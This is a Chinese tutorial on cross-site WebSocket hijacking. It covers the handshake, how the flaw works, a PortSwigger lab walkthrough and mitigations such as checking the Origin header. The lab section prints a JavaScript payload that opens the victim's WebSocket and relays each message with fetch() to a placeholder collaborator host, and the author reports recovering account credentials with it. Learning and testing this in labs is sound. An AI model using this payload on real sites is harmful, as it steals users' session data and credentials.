淺析websocket劫持
WebSocket劫持漏洞導讀
WebSocket協議技術
WebSocket是HTML5推出的新協議,是基于TCP的應用層通信協議,它與http協議內容本身沒有關系。WebSocket 也類似于 TCP 一樣進行握手連接,跟 TCP 不同的是,WebSocket 是基于 HTTP 協議進行的握手,它在客戶端和服務器之間提供了一個基于單 TCP 連接的高效全雙工通信信道
websocket是持久化的協議,而http是非持久的
當通信協議從 http://或 https://切換到 ws://或 wss://后,表示應用已經切換到了WebSocket協議通信狀態
WebSocket連接的建立需要經過連接請求、握手、連接建立三個步驟,如下圖

建立WebSocket連接
WebSocket連接通常是使用客戶端JavaScript創建的
var ws =newWebSocket("wss://normal-website.com/chat");
//該`wss`協議建立在一個加密的TLS連接的WebSocket,而`ws`協議使用未加密的連接。
為了建立連接,瀏覽器和服務器通過HTTP執行WebSocket握手。瀏覽器發出WebSocket握手請求,如下所示:
GET /chat HTTP/1.1Host: normal-website.comSec-WebSocket-Version: 13Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==Connection: keep-alive, UpgradeCookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2Upgrade: websocket
如果服務器接受連接,則它將返回WebSocket握手響應,如下所示:
HTTP/1.1 101 Switching ProtocolsConnection: UpgradeUpgrade: websocketSec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
此時,網絡連接保持打開狀態,并且可以用于向任一方向發送WebSocket消息。
請求和響應中 的Connection和Upgrade標頭表示這是WebSocket握手
WebSocket安全漏洞
原則上,由于WebSocket涉及多個層面,任何與WebSocket有關的web安全漏洞都有可能出現
?傳輸到服務器的用戶的輸入以不安全方式處理,出現SQL注入或XML外部實體注入等
?通過WebSockets達到的某些盲洞(blind vulnerabilities)可能僅可使用帶外(OAST)技術才能檢測到
?如果攻擊者控制的數據通過WebSockets傳輸到其他應用程序用戶,則可能導致XSS或其他客戶端漏洞

本文主要講探討的是跨站WebSocket劫持漏洞-CSWSH
跨站WebSocket劫持漏洞
什么是跨站WebSocket劫持漏洞
Websocket帶來的安全特性在一定程度上緩解了一些特性的攻擊,但在日漸發展的攻擊方式下,其相關漏洞也不斷曝光,其中最常見的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞
我們可以看見WebSocket的鏈接過程與http是極其相似的,WebSocket協議在握手階段是基于HTTP的。它在握手期間是沒有規定服務器如何驗證客戶端的身份,因此,服務器需要采用http客戶端認證機制來辨明身份,如常見的cookie、http頭基本認證等。這就導致了容易被攻擊者利用惡意網頁偽裝用戶的身份,與服務器建立WebSocket連接
CSWSH與跨站請求偽造CSRF的漏洞原理極其類似

相較于CSRF漏洞只能發送偽造請求,跨站WebSocket劫持漏洞卻可以建立了一個完整的讀/寫雙向通道,且不受同源策略的限制,這在很大意義上都造成了更大的危害和可操作性
跨站WebSocket劫持漏洞可能帶來的影響
?執行偽造成用戶的未授權操作
與常規CSRF類似,攻擊者可以偽造成用戶利用生成的WebSocket通道以執行一些敏感操作
?檢索用戶可訪問的敏感數據
與常規CSRF不同的時,CSWSH是建立一個可雙向交互的通道,當客戶端向用戶發送敏感數據時,攻擊者可以將其攔截并記錄得到敏感信息
跨站WebSocket劫持漏洞靶場演示
靶機環境
?靶場
借助于burpsuite練兵場
Lab: Cross-site WebSocket hijacking | Web Security Academy (portswigger.net)
?瀏覽器環境
edge瀏覽器
靶場解析
?點擊啟動靶場

?觀察發現存在實時聊天界面,觀察發現沒有CSRF的令牌
?將代碼復制到body
var ws =newWebSocket('wss://your-websocket-url'); ws.onopen=function() { ws.send("READY"); }; ws.onmessage=function(event) { fetch('https://your-collaborator-url', {method:'POST',mode:'no-cors',body:event.data}); };
?wss://your-websocket-url替換成目前url
?https://your-collaborator-url替換成Burp Collaborator Client或自己搭建的Burp Collaborator 服務器
?可以點擊view exploit測試,也可以直接發給攻擊方

?然后在Burp Collaborator Client多poll幾下
?翻看一下得到賬號密碼

然后我選擇再用dnslog驗證一遍


確實可以帶出數據,執行敏感操作
如何防范跨站WebSocket劫持漏洞
?校驗Origin頭
?雙向將WebSocket傳輸數據視為不可信
?對WebSocket握手信息進行加密保護
?硬編碼WebSockets終結點的URL